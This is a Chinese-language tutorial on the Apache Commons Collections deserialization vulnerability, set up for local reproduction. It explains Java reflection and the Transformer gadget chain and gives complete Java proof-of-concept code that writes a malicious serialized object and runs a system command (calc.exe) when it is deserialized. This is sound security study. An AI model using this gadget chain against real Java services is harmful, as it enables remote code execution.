反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞
Java Apache Commons Collections反序列化漏洞
项目地址:Collections – Download Apache Commons Collections
本地复现环境:
- jdk 1.7.0_80
- IDEA Project Structrure——>Projrct设置成1.7
- IDEA Project Structrure——>Moudles设置成1.7
- Settings——>Build,Execution,Deployment——>Compiler——>Java
Compiler——>Target bytecode version设置成7 - Apache Commons Collections ≤ 3.2.1
Apache Commons Collections介绍
Apache Commons Collections 是一个扩展了Java标准库里集合类Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发
Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入
Commons Collections:
- Bag interface for collections that have a number of copies of each
object - BidiMap interface for maps that can be looked up from value to key as
well and key to value - MapIterator interface to provide simple and quick iteration over maps
- Transforming decorators that alter each object as it is added to the
collection - Composite collections that make multiple collections look like one
- Ordered maps and sets that retain the order elements are added in,
including an LRU based map - Reference map that allows keys and/or values to be garbage collected
under close control Many comparator implementations - Many iterator implementations
- Adapter classes from array and enumerations to collections
- Utilities to test or create typical set-theory properties of
collections such as union, intersection, and closure
Java反射机制Reflection
首先我们来了解一下Java代码为什么能够跑起来:
1、首先我们程序员写出源码
2、编译器(javac)将源码编译为字节码.class文件
3、各平台JVM解释器把字节码文件转换成操作系统指令
反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等
java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class
什么是反射?
在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息
通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。
想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。
获取.class字节码文件对象
获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定
//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段
获取该.class字节码文件对象的详细信息
当我们得到一个.class字节码文件对象,我们可以得到以下信息:
- 类名 (含package路径)
- 函数 (名称,参数类型,返回值)
- 域 (名称,类型)
- 实现的接口 (interfaces)
使用 java.lang.reflect.*下的类来实现
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;public class main public static void main(String[] args) throws Exception{Object obj=new Student(); //Student实例Class cls=obj.getClass(); //得到Student字节码对象//通过函数名和函数参数,得到函数String methodName="setId"; //函数名字Class[] par={int.class,String.class}; //函数参数Method m=cls.getMethod(methodName, par); //返回函数//调用methodObject[] paramters={123,"haha"}; //传递参数m.invoke(obj,paramters); //执行函数cls.getPackage(); //获取包信息String str=cls.getSimpleName(); //Student ,获得该类的名字,不包含包名String str2=cls.getName(); //my.Student,获得该类的名字,包含包名Object obj2=cls.newInstance(); //创建一个实例,要求有一个不带参数的构造函数 int modified=cls.getModifiers(); //获取cls对象的类修饰符Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合Constructor[] con=cls.getConstructors(); //获取构造函数的集合Method[] methods=cls.getMethods(); //获取函数列表cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)}
}
通过反射机制执行函数
Apache Commons Collections中已经实现了一些常见的 Transformer
,其中的 InvokerTransformer
接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令
test1函数可以看成是普通执行函数的方式,test2函数可以看成是通过反射机制执行函数
import java.io.*;public class Reflect {public static void main(String[] args) throws IOException {test2();}public static void test1() throws IOException {Runtime.getRuntime().exec("calc");}public static void test2(){try {//初始化Runtime类Class clazz = Class.forName("java.lang.Runtime");// 调用Runtime类中的getRuntime方法得到Runtime类的对象Object rt = clazz.getMethod("getRuntime").invoke(clazz);//再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用clazz.getMethod("exec",String.class).invoke(rt,"calc");}catch (Exception e){e.printStackTrace();}}
}
运行代码,可以看到,执行了 calc.exe 的命令
Apache Commons Collections 漏洞原理
Commons Collectionss漏洞是2015年黑客Gabriel Lawrence和Chris Frohoff发
现的,影响WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架
Commons Collections 漏洞中几个关键的类:
- InvokeTransformer //利用Java反射机制来创建类实例
- ChainedTransformer //实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
- ConstantTransformer //transform()返回构造函数的对象
- TransformedMap
在上面的 InvokerTransformer反射链我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令
但是目前的构造还需要依赖于修改Map
中的Value值去触发调用反射链,我们需要想办法通过readObject()
直接触发
如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了
于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues
是Map<String,Object>
类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!
于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec(“calc”) 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝
调用链路:
poc构造思路
1、InvokeTransformer //反射执行代码
2、ChainedTransformer //链式调用,自动触发
3、ConstantTransformer //获得对象
4、TransformedMap //元素变化执行transform,setValue——checkSetValue
5、AnnotationInvocationHandler //readObject 调用Map的setValue
Payload调用流程:
1、对利用类AnnotationInvocationHandler进行序列化,然后交给Java程序
反序列化
2、在进行反序列化时,会执行readObject()方法,该方法会用setValue对成
员变量TransformedMap的Value值进行修改
3、value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue——transform()方法
4、放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5、InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
反序列化漏洞payload
InvokerTransformer反射触发:
我们新建一个TranTest1类:
import org.apache.commons.collections.functors.InvokerTransformer;/* InvokerTransformer反射触发*/
public class TransTest1 {public static void main(String[] args) {// 创建实例 传入构造方法参数 (函数名 参数类型 参数值)InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"});try {// 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例// Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));Object input = Runtime.getRuntime();// 执行transform函数invokerTransformer.transform(input);}catch (Exception e){e.printStackTrace();}}
}
代码运行后的效果如下:
但是这种方法属于静态触发,我们需要的是自动触发
ChainedTransformer遍历触发:
我们新建一个TranTest2类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;/* ChainedTransformer遍历触发 等同于 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");/
public class TransTest2 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{// 获得Runtime类对象new ConstantTransformer(Runtime.class),// 传入Runtime类对象 反射执行getMethod获得getRuntime方法new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),// 传入getRuntime方法 反射执行invoke方法 得到Runtime实例new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, null }),// 传入Runtime实例 执行exec方法new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"Calc.exe"})};// ChainedTransformerChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(null);}
}
代码运行后效果如下:
invokerTransformer.transform()方法通过反射调用函数来执行系统命令
现在我们来构造一个完整的攻击链
现在我们新建一个Poc类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;/* 封装为TransformedMap*/
public class Poc {public static void main(String[] args) {try {Transformer[] transformers = new Transformer[]{// 获得Runtime类对象new ConstantTransformer(Runtime.class),// 传入Runtime类对象 反射执行getMethod获得getRuntime方法new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 传入Runtime实例 执行exec方法new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "value");Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);// 构造包含恶意map的AnnotationInvocationHandler对象Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);cst.setAccessible(true);Object exploitObj = cst.newInstance(Target.class, outermap);// 序列化FileOutputStream fos = new FileOutputStream("payload.bin");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(exploitObj);oos.close();// 反序列化FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis);Object result = ois.readObject();ois.close();System.out.println(result);} catch (Exception e) {e.printStackTrace();}}
}
代码运行后的效果: